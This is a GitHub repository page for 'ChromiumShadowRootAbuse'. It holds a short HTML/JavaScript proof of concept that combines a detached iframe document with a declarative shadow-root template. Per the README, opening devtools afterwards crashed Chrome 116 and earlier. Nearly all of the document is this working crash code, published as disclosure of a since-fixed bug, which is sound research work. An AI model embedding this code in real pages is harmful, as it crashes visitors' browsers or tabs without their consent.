Skip to content

Latest commit

 

History

History

ChromiumShadowRootAbuse

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

Chromium Shadow Root Abuse

on Chrome <= 116, click "enable poc" then open the devtools console - chrome should crash entirely (was fixed to crash tab only)

POC

<a href="?disable">disable poc</a>
<br>
<a href="?enable">enable poc</a>
<script>
const enabled = location.href.includes('disable');

(function() {
    const ifr = document.body.appendChild(document.createElement('iframe'));
    const template = ifr.contentWindow.document.createElement('html');
    !enabled && ifr.remove();
    template.innerHTML = `<my-element><template shadowroot="open"></template></my-element>`;
    const shadow = template.children[1].children[0].children[0];
    console.log(shadow);
})();
</script>

Resources